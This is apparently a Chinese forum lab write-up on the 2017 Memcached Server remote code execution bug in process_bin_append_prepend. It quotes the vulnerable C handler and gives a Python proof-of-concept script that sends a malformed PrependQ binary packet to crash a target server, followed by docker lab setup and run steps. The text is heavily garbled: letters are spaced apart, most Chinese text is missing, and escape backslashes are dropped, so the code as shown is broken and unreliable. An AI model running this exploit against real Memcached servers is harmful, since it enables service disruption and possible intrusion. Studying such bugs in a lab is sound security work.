[19132] 2017-10-27_【实验】MemcachedServer远程代码执行漏洞

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-18
2017-10-27_【实验】MemcachedServer远程代码执行漏洞 M e m c a c h e d   S e r v e r i   2 0 1 7 - 1 0 - 2 7 M e m c a c h e d 广 使 M e m c a c h e d A S L R p r o c e s s _ b i n _ a p p e n d _ p r e p e n d m e m c a c h e d M e m c a c h e d   S e r v e r ~ W i n d o w s   X P U b u n t u I P 1 7 2 . 1 6 . 1 2 . 2   M e m c a c h e d A S L R p r o c e s s _ b i n _ a p p e n d _ p r e p e n d m e m c a c h e d , 1 . 4 . 3 3 1 M e m c a c h e d   W e b
A p p e n d   ( o p c o d e   0 x 0 e ) ,   P r e p e n d   ( o p c o d e   0 x 0 f ) ,   A p p e n d Q   ( 0 x 1 9 ) ,   P r e p e n d Q   ( o p c o d e   0 x 1 a ) c a s e   P R O T O C O L _ B I N A R Y _ C M D _ A P P E N D : c a s e   P R O T O C O L _ B I N A R Y _ C M D _ P R E P E N D :     i f   ( k e y l e n   >   0   & &   e x t l e n   = =   0 )   {       b i n _ r e a d _ k e y ( c ,   b i n _ r e a d i n g _ s e t _ h e a d e r ,   0 ) ;   }   e l s e   {       p r o t o c o l _ e r r o r   =   1 ;   }     b r e a k ; k e y l e n e x t l e n b o d y l e n c o m p l e t e _ n r e a d _ b i n a r y ( ) s o c k e t h e a d e r e x t l e n k e y v a l u e s o c k e t p r o c e s s _ b i n _ a p p e n d _ p r e p e n d ( ) k e y   =   b i n a r y _ g e t _ k e y ( c ) ; n k e y   =   c - > b i n a r y _ h e a d e r . r e q u e s t . k e y l e n ;   / / v l e n   =   c - > b i n a r y _ h e a d e r . r e q u e s t . b o d y l e n   -   n k e y ; . . . i t   =   i t e m _ a l l o c ( k e y ,   n k e y ,   0 ,   0 ,   v l e n + 2 ) ; k e y l e n b o d y l e n i t m e _ a l l o c ( ) k e y n k e y v l e n P O C : #   - * -   c o d i n g :   u t f - 8   - * - i m p o r t   s t r u c t i m p o r t   s o c k e t i m p o r t   s y s M E M C A C H E D _ R E Q U E S T _ M A G I C   =   " x 8 0 " O P C O D E _ P R E P E N D _ Q   =   " x 1 a " k e y _ l e n   = s t r u c t . p a c k ( " ! H " ,   0 x f a ) e x t r a _ l e n   =   " x 0 0 " d a t a _ t y p e   =   " x 0 0 " v b u c k e t   =   " x 0 0 x 0 0 " b o d y _ l e n   =   s t r u c t . p a c k ( " ! I " ,   0 ) o p a q u e   =   s t r u c t . p a c k ( " ! I " ,   0 ) C A S   =   s t r u c t . p a c k ( " ! Q " , 0 ) b o d y   =   " A "   *   1 0 2 4 i f   l e n ( s y s . a r g v )   ! =   3 :         p r i n t   " . / p o c _ c r a s h . p y   < s e r v e r >   < p o r t > "         s y s . e x i t ( 1 ) p a c k e t   =   M E M C A C H E D _ R E Q U E S T _ M A G I C   + O P C O D E _ P R E P E N D _ Q   +   k e y _ l e n   +   e x t r a _ l e n p a c k e t   + =   d a t a _ t y p e   +   v b u c k e t   +   b o d y _ l e n   +   o p a q u e   +   C A S p a c k e t   + =   b o d y s e t _ p a c k e t   =   " s e t   t e s t k e y   0   6 0 4 r n t e s t r n " g e t _ p a c k e t   =   " g e t   t e s t k e y r n " s 1   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s 1 . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) ) s 1 . s e n d a l l ( s e t _ p a c k e t ) p r i n t   s 1 . r e c v ( 1 0 2 4 ) s 1 . c l o s e ( ) s 2   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s 2 . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) ) s 2 . s e n d a l l ( p a c k e t ) p r i n t   s 2 . r e c v ( 1 0 2 4 ) s 2 . c l o s e ( ) s 3   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s 3 . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) ) s 3 . s e n d a l l ( g e t _ p a c k e t ) s 3 . r e c v ( 1 0 2 4 ) s 3 . c l o s e ( ) 2 使 X s h e l l I P 1 7 2 . 1 6 . 1 2 . 2   i c h u n q i u   i c h u n q i u ( 使 E v e r y t h i n g X s h e l l ) 使 x s h e M e m c a c h e d   S e r v e r d o c k e r     i m a g e s     / / d o c k e r   r u n   - d   - p   1 1 2 1 1 : 1 1 2 1 1   a f 1 3 3 6 6 3 2 a 5 1   / / - d - p
d o c k e r   p s     / / P O C M e m c a c h e d 使 p y t h o n 2 . 7   p o c . p y   1 2 7 . 0 . 0 . 1   1 1 2 1 1       / / P O C d o c k e r   p s M e m c a c h e d   S e r v e r 使 P O C ~

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则